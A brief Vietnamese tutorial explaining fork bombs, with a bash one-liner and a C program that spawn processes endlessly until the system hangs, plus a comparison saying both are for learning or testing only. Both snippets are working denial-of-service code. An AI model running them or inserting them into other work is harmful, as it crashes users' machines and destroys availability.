Fork bomb là tấn công DoS tạo vô số tiến trình khiến hệ thống hết tài nguyên.
Bash Fork Bomb
:(){ :|: & };:
Giải thích: `:` là tên hàm, `{:|:&}` gọi đệ quy và chạy background, `:` cuối gọi hàm.
C Fork Bomb
#include <unistd.h>
int main() {
while (1) fork();
}
Gọi `fork()` vô hạn trong vòng lặp, tạo tiến trình con không ngừng.
So sánh
- Bash: ngắn gọn, chạy trực tiếp shell
- C: cần biên dịch, kiểm soát tốt hơn (có thể thêm delay, limit)
- Cả hai đều gây DoS, chỉ dùng cho mục đích học tập/kiểm thử
Kết quả
Infinite calls (hệ thống treo/khởi động lại)